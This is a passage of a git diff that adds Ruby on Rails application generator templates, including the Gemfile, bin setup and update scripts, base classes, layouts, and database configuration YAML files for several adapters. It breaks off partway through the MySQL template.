+
+# Use ActiveModel has_secure_password
+# gem 'bcrypt', '~> 3.1.7'
+
+# Use Capistrano for deployment
+# gem 'capistrano-rails', group: :development
+
+# Reduces boot times through caching; required in config/boot.rb
+gem 'bootsnap', '>= 1.1.0', require: false
+
+<%- if options.api? -%>
+# Use Rack CORS for handling Cross-Origin Resource Sharing (CORS), making cross-origin AJAX possible
+# gem 'rack-cors'
+
+<%- end -%>
+<% if RUBY_ENGINE == 'ruby' -%>
+group :development, :test do
+  # Call 'byebug' anywhere in the code to stop execution and get a debugger console
+  gem 'byebug', platforms: [:mri, :mingw, :x64_mingw]
+  <%- if depends_on_system_test? -%>
+  # Adds support for Capybara system testing and selenium driver
+  gem 'capybara', '~> 2.13'
+  gem 'selenium-webdriver'
+  <%- end -%>
+end
+
+group :development do
+<%- unless options.api? -%>
+  # Access an interactive console on exception pages or by calling 'console' anywhere in the code.
+  <%- if options.dev? || options.edge? -%>
+  gem 'web-console', github: 'rails/web-console'
+  <%- else -%>
+  gem 'web-console', '>= 3.3.0'
+  <%- end -%>
+<%- end -%>
+<% if depend_on_listen? -%>
+  gem 'listen', '>= 3.0.5', '< 3.2'
+<% end -%>
+<% if spring_install? -%>
+  # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring
+  gem 'spring'
+<% if depend_on_listen? -%>
+  gem 'spring-watcher-listen', '~> 2.0.0'
+<% end -%>
+<% end -%>
+end
+<% end -%>
+
+# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
+gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]
diff --git a/railties/lib/rails/generators/rails/app/templates/README.md b/railties/lib/rails/generators/rails/app/templates/README.md
new file mode 100644
index 0000000000..7db80e4ca1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/README.md
@@ -0,0 +1,24 @@
+# README
+
+This README would normally document whatever steps are necessary to get the
+application up and running.
+
+Things you may want to cover:
+
+* Ruby version
+
+* System dependencies
+
+* Configuration
+
+* Database creation
+
+* Database initialization
+
+* How to run the test suite
+
+* Services (job queues, cache servers, search engines, etc.)
+
+* Deployment instructions
+
+* ...
diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile b/railties/lib/rails/generators/rails/app/templates/Rakefile
new file mode 100644
index 0000000000..e85f913914
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/Rakefile
@@ -0,0 +1,6 @@
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require_relative 'config/application'
+
+Rails.application.load_tasks
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/config/manifest.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/config/manifest.js.tt
new file mode 100644
index 0000000000..70b579d10e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/config/manifest.js.tt
@@ -0,0 +1,5 @@
+//= link_tree ../images
+<% unless options.skip_javascript -%>
+//= link_directory ../javascripts .js
+<% end -%>
+//= link_directory ../stylesheets .css
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
new file mode 100644
index 0000000000..4206002a1b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
@@ -0,0 +1,19 @@
+// This is a manifest file that'll be compiled into application.js, which will include all the files
+// listed below.
+//
+// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, or any plugin's
+// vendor/assets/javascripts directory can be referenced here using a relative path.
+//
+// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
+// compiled file. JavaScript code in this file should be added after the last require_* statement.
+//
+// Read Sprockets README (https://github.com/rails/sprockets#sprockets-directives) for details
+// about supported directives.
+//
+<% unless options[:skip_javascript] -%>
+//= require rails-ujs
+<% unless options[:skip_turbolinks] -%>
+//= require turbolinks
+<% end -%>
+<% end -%>
+//= require_tree .
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/cable.js b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/cable.js
new file mode 100644
index 0000000000..739aa5f022
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/cable.js
@@ -0,0 +1,13 @@
+// Action Cable provides the framework to deal with WebSockets in Rails.
+// You can generate new channels where WebSocket features live using the `rails generate channel` command.
+//
+//= require action_cable
+//= require_self
+//= require_tree ./channels
+
+(function() {
+  this.App || (this.App = {});
+
+  App.cable = ActionCable.createConsumer();
+
+}).call(this);
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
new file mode 100644
index 0000000000..d05ea0f511
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
@@ -0,0 +1,15 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, or any plugin's
+ * vendor/assets/stylesheets directory can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS
+ * files in this directory. Styles in this file should be added after the last require_* statement.
+ * It is generally better to create a new file per style scope.
+ *
+ *= require_tree .
+ *= require_self
+ */
diff --git a/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/channel.rb b/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/channel.rb
new file mode 100644
index 0000000000..d672697283
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/channel.rb
@@ -0,0 +1,4 @@
+module ApplicationCable
+  class Channel < ActionCable::Channel::Base
+  end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/connection.rb b/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/connection.rb
new file mode 100644
index 0000000000..0ff5442f47
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/connection.rb
@@ -0,0 +1,4 @@
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+  end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
new file mode 100644
index 0000000000..185c0017f1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
@@ -0,0 +1,2 @@
+class ApplicationController < ActionController::<%= options[:api] ? "API" : "Base" %>
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb b/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb
new file mode 100644
index 0000000000..de6be7945c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb
@@ -0,0 +1,2 @@
+module ApplicationHelper
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb b/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb
new file mode 100644
index 0000000000..a009ace51c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb
@@ -0,0 +1,2 @@
+class ApplicationJob < ActiveJob::Base
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb b/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb
new file mode 100644
index 0000000000..286b2239d1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb
@@ -0,0 +1,4 @@
+class ApplicationMailer < ActionMailer::Base
+  default from: 'from@example.com'
+  layout 'mailer'
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb b/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb
new file mode 100644
index 0000000000..10a4cba84d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb
@@ -0,0 +1,3 @@
+class ApplicationRecord < ActiveRecord::Base
+  self.abstract_class = true
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
new file mode 100644
index 0000000000..5460155b3e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -0,0 +1,23 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title><%= camelized %></title>
+    <%%= csrf_meta_tags %>
+
+    <%- if options[:skip_javascript] -%>
+    <%%= stylesheet_link_tag    'application', media: 'all' %>
+    <%- else -%>
+      <%- unless options[:skip_turbolinks] -%>
+    <%%= stylesheet_link_tag    'application', media: 'all', 'data-turbolinks-track': 'reload' %>
+    <%%= javascript_include_tag 'application', 'data-turbolinks-track': 'reload' %>
+      <%- else -%>
+    <%%= stylesheet_link_tag    'application', media: 'all' %>
+    <%%= javascript_include_tag 'application' %>
+      <%- end -%>
+    <%- end -%>
+  </head>
+
+  <body>
+    <%%= yield %>
+  </body>
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt
new file mode 100644
index 0000000000..55f3675d49
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt
@@ -0,0 +1,13 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <style>
+      /* Email styles need to be inline */
+    </style>
+  </head>
+
+  <body>
+    <%%= yield %>
+  </body>
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.text.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.text.erb.tt
new file mode 100644
index 0000000000..6363733e6e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.text.erb.tt
@@ -0,0 +1 @@
+<%%= yield %>
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/bundle b/railties/lib/rails/generators/rails/app/templates/bin/bundle
new file mode 100644
index 0000000000..a84f0afe47
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/bundle
@@ -0,0 +1,2 @@
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)
+load Gem.bin_path('bundler', 'bundle')
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rails b/railties/lib/rails/generators/rails/app/templates/bin/rails
new file mode 100644
index 0000000000..513a2e0183
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rails
@@ -0,0 +1,3 @@
+APP_PATH = File.expand_path('../config/application', __dir__)
+require_relative '../config/boot'
+require 'rails/commands'
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rake b/railties/lib/rails/generators/rails/app/templates/bin/rake
new file mode 100644
index 0000000000..d14fc8395b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rake
@@ -0,0 +1,3 @@
+require_relative '../config/boot'
+require 'rake'
+Rake.application.run
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/setup.tt b/railties/lib/rails/generators/rails/app/templates/bin/setup.tt
new file mode 100644
index 0000000000..a53d1fb0a9
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/setup.tt
@@ -0,0 +1,39 @@
+require 'fileutils'
+include FileUtils
+
+# path to your application root.
+APP_ROOT = File.expand_path('..', __dir__)
+
+def system!(*args)
+  system(*args) || abort("\n== Command #{args} failed ==")
+end
+
+chdir APP_ROOT do
+  # This script is a starting point to setup your application.
+  # Add necessary setup steps to this file.
+
+  puts '== Installing dependencies =='
+  system! 'gem install bundler --conservative'
+  system('bundle check') || system!('bundle install')
+<% unless options[:skip_yarn] -%>
+
+  # Install JavaScript dependencies if using Yarn
+  # system('bin/yarn')
+<% end -%>
+<% unless options.skip_active_record -%>
+
+  # puts "\n== Copying sample files =="
+  # unless File.exist?('config/database.yml')
+  #   cp 'config/database.yml.sample', 'config/database.yml'
+  # end
+
+  puts "\n== Preparing database =="
+  system! 'bin/rails db:setup'
+<% end -%>
+
+  puts "\n== Removing old logs and tempfiles =="
+  system! 'bin/rails log:clear tmp:clear'
+
+  puts "\n== Restarting application server =="
+  system! 'bin/rails restart'
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/update.tt b/railties/lib/rails/generators/rails/app/templates/bin/update.tt
new file mode 100644
index 0000000000..5b6e50883e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/update.tt
@@ -0,0 +1,29 @@
+require 'fileutils'
+include FileUtils
+
+# path to your application root.
+APP_ROOT = File.expand_path('..', __dir__)
+
+def system!(*args)
+  system(*args) || abort("\n== Command #{args} failed ==")
+end
+
+chdir APP_ROOT do
+  # This script is a way to update your development environment automatically.
+  # Add necessary update steps to this file.
+
+  puts '== Installing dependencies =='
+  system! 'gem install bundler --conservative'
+  system('bundle check') || system!('bundle install')
+<% unless options.skip_active_record -%>
+
+  puts "\n== Updating database =="
+  system! 'bin/rails db:migrate'
+<% end -%>
+
+  puts "\n== Removing old logs and tempfiles =="
+  system! 'bin/rails log:clear tmp:clear'
+
+  puts "\n== Restarting application server =="
+  system! 'bin/rails restart'
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/yarn b/railties/lib/rails/generators/rails/app/templates/bin/yarn
new file mode 100644
index 0000000000..44f75c22a4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/yarn
@@ -0,0 +1,10 @@
+VENDOR_PATH = File.expand_path('..', __dir__)
+Dir.chdir(VENDOR_PATH) do
+  begin
+    exec "yarnpkg #{ARGV.join(" ")}"
+  rescue Errno::ENOENT
+    $stderr.puts "Yarn executable was not detected in the system."
+    $stderr.puts "Download Yarn at https://yarnpkg.com/en/docs/install"
+    exit 1
+  end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config.ru b/railties/lib/rails/generators/rails/app/templates/config.ru
new file mode 100644
index 0000000000..f7ba0b527b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config.ru
@@ -0,0 +1,5 @@
+# This file is used by Rack-based servers to start the application.
+
+require_relative 'config/environment'
+
+run Rails.application
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
new file mode 100644
index 0000000000..0b1d22228e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -0,0 +1,43 @@
+require_relative 'boot'
+
+<% if include_all_railties? -%>
+require 'rails/all'
+<% else -%>
+require "rails"
+# Pick the frameworks you want:
+require "active_model/railtie"
+require "active_job/railtie"
+<%= comment_if :skip_active_record %>require "active_record/railtie"
+require "action_controller/railtie"
+<%= comment_if :skip_action_mailer %>require "action_mailer/railtie"
+require "action_view/railtie"
+<%= comment_if :skip_action_cable %>require "action_cable/engine"
+<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<%= comment_if :skip_test %>require "rails/test_unit/railtie"
+<% end -%>
+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(*Rails.groups)
+
+module <%= app_const_base %>
+  class Application < Rails::Application
+    # Initialize configuration defaults for originally generated Rails version.
+    config.load_defaults <%= Rails::VERSION::STRING.to_f %>
+
+    # Settings in config/environments/* take precedence over those specified here.
+    # Application configuration should go into files in config/initializers
+    # -- all .rb files in that directory are automatically loaded.
+<%- if options[:api] -%>
+
+    # Only loads a smaller set of middleware suitable for API only apps.
+    # Middleware like session, flash, cookies can be added back manually.
+    # Skip views, helpers and assets when generating a new resource.
+    config.api_only = true
+<%- elsif !depends_on_system_test? -%>
+
+    # Don't generate system test files.
+    config.generators.system_tests = nil
+<%- end -%>
+  end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
new file mode 100644
index 0000000000..b9e460cef3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
@@ -0,0 +1,4 @@
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)
+
+require 'bundler/setup' # Set up gems listed in the Gemfile.
+require 'bootsnap/setup' # Speed up boot time by caching expensive operations.
diff --git a/railties/lib/rails/generators/rails/app/templates/config/cable.yml b/railties/lib/rails/generators/rails/app/templates/config/cable.yml
new file mode 100644
index 0000000000..1da4913082
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/cable.yml
@@ -0,0 +1,10 @@
+development:
+  adapter: async
+
+test:
+  adapter: async
+
+production:
+  adapter: redis
+  url: redis://localhost:6379/1
+  channel_prefix: <%= app_name %>_production
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
new file mode 100644
index 0000000000..917b52e535
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
@@ -0,0 +1,50 @@
+# FrontBase versions 4.x
+#
+# Get the bindings:
+#   gem install ruby-frontbase
+#
+# Configure Using Gemfile
+# gem 'ruby-frontbase'
+#
+default: &default
+  adapter: frontbase
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  host: localhost
+  username: <%= app_name %>
+  password: ''
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="frontbase://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
new file mode 100644
index 0000000000..d40117a27f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
@@ -0,0 +1,86 @@
+# IBM Dataservers
+#
+# Home Page
+#   https://github.com/dparnell/ibm_db
+#
+# To install the ibm_db gem:
+#
+#   On Linux:
+#       . /home/db2inst1/sqllib/db2profile
+#       export IBM_DB_INCLUDE=/opt/ibm/db2/V9.7/include
+#       export IBM_DB_LIB=/opt/ibm/db2/V9.7/lib32
+#       gem install ibm_db
+#
+#   On Mac OS X 10.5:
+#       . /home/db2inst1/sqllib/db2profile
+#       export IBM_DB_INCLUDE=/opt/ibm/db2/V9.7/include
+#       export IBM_DB_LIB=/opt/ibm/db2/V9.7/lib32
+#       export ARCHFLAGS="-arch i386"
+#       gem install ibm_db
+#
+#   On Mac OS X 10.6:
+#       . /home/db2inst1/sqllib/db2profile
+#       export IBM_DB_INCLUDE=/opt/ibm/db2/V9.7/include
+#       export IBM_DB_LIB=/opt/ibm/db2/V9.7/lib64
+#       export ARCHFLAGS="-arch x86_64"
+#       gem install ibm_db
+#
+#   On Windows:
+#       Issue the command: gem install ibm_db
+#
+# Configure Using Gemfile
+# gem 'ibm_db'
+#
+#
+default: &default
+  adapter: ibm_db
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  username: db2inst1
+  password:
+  #schema: db2inst1
+  #host: localhost
+  #port: 50000
+  #account: my_account
+  #app_user: my_app_user
+  #application: my_application
+  #workstation: my_workstation
+  #security: SSL
+  #timeout: 10
+  #authentication: SERVER
+  #parameterized: false
+
+development:
+  <<: *default
+  database: <%= app_name[0,4] %>_dev
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name[0,4] %>_tst
+
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="ibm-db://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
new file mode 100644
index 0000000000..563be77710
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
@@ -0,0 +1,69 @@
+# If you are using mssql, derby, hsqldb, or h2 with one of the
+# ActiveRecord JDBC adapters, install the appropriate driver, e.g.,:
+#   gem install activerecord-jdbcmssql-adapter
+#
+# Configure using Gemfile:
+#   gem 'activerecord-jdbcmssql-adapter'
+#
+# development:
+#   adapter: mssql
+#   username: <%= app_name %>
+#   password:
+#   host: localhost
+#   database: <%= app_name %>_development
+#
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+#
+# test:
+#   adapter: mssql
+#   username: <%= app_name %>
+#   password:
+#   host: localhost
+#   database: <%= app_name %>_test
+#
+# production:
+#   adapter: mssql
+#   username: <%= app_name %>
+#   password:
+#   host: localhost
+#   database: <%= app_name %>_production
+
+# If you are using oracle, db2, sybase, informix or prefer to use the plain
+# JDBC adapter, configure your database setting as the example below (requires
+# you to download and manually install the database vendor's JDBC driver .jar
+# file). See your driver documentation for the appropriate driver class and
+# connection string:
+
+default: &default
+  adapter: jdbc
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  username: <%= app_name %>
+  password:
+  driver:
+
+development:
+  <<: *default
+  url: jdbc:db://localhost/<%= app_name %>_development
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  url: jdbc:db://localhost/<%= app_name %>_test
+
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+production:
+  url: jdbc:db://localhost/<%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
new file mode 100644
index 0000000000..8bc8735a8e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
@@ -0,0 +1,53 @@
+# MySQL. Versions 5.1.10 and up are supported.
+#
+# Install the MySQL driver:
+#   gem install activerecord-jdbcmysql-adapter
+#
+# Configure Using Gemfile
+# gem 'activerecord-jdbcmysql-adapter'
+#
+# And be sure to use new-style password hashing:
+#   http://dev.mysql.com/doc/refman/5.7/en/old-client.html
+#
+default: &default
+  adapter: mysql
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  username: root
+  password:
+  host: localhost
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="mysql://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
new file mode 100644
index 0000000000..70df04079d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
@@ -0,0 +1,69 @@
+# PostgreSQL. Versions 9.1 and up are supported.
+#
+# Configure Using Gemfile
+# gem 'activerecord-jdbcpostgresql-adapter'
+#
+default: &default
+  adapter: postgresql
+  encoding: unicode
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+  # The specified database role being used to connect to postgres.
+  # To create additional roles in postgres see `$ createuser --help`.
+  # When left blank, postgres will use the default role. This is
+  # the same name as the operating system user that initialized the database.
+  #username: <%= app_name %>
+
+  # The password associated with the postgres role (username).
+  #password:
+
+  # Connect on a TCP socket. Omitted by default since the client uses a
+  # domain socket that doesn't need configuration. Windows does not have
+  # domain sockets, so uncomment these lines.
+  #host: localhost
+  #port: 5432
+
+  # Schema search path. The server defaults to $user,public
+  #schema_search_path: myapp,sharedapp,public
+
+  # Minimum log levels, in increasing order:
+  #   debug5, debug4, debug3, debug2, debug1,
+  #   log, notice, warning, error, fatal, and panic
+  # Defaults to warning.
+  #min_messages: notice
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
new file mode 100644
index 0000000000..371415e6a8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
@@ -0,0 +1,24 @@
+# SQLite version 3.x
+#   gem 'activerecord-jdbcsqlite3-adapter'
+#
+# Configure Using Gemfile
+# gem 'activerecord-jdbcsqlite3-adapter'
+#
+default: &default
+  adapter: sqlite3
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+
+development:
+  <<: *default
+  database: db/development.sqlite3
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: db/test.sqlite3
+
+production:
+  <<: *default
+  database: db/production.sqlite3
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
new file mode 100644
index 0000000000..269af1470d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
@@ -0,0 +1,58 @@
+# MySQL. Versions 5.1.10 and up are supported.
+#
+# Install the MySQL driver
+#   gem install mysql2
+#
+# Ensure the MySQL gem is defined in your Gemfile
+#   gem 'mysql2'
+#
+# And be sure to use new-style password hashing:
+#   http://dev.mysql.com/doc/refman/5.7/en/old-client.html
+#
+default: &default
+  adapter: mysql2
+  encoding: utf8
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  username: root
+  password:
+<% if mysql_socket -%>
+  socket: <%= mysql_socket %>
+<% else -%>
+  host: localhost
+<% end -%>
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
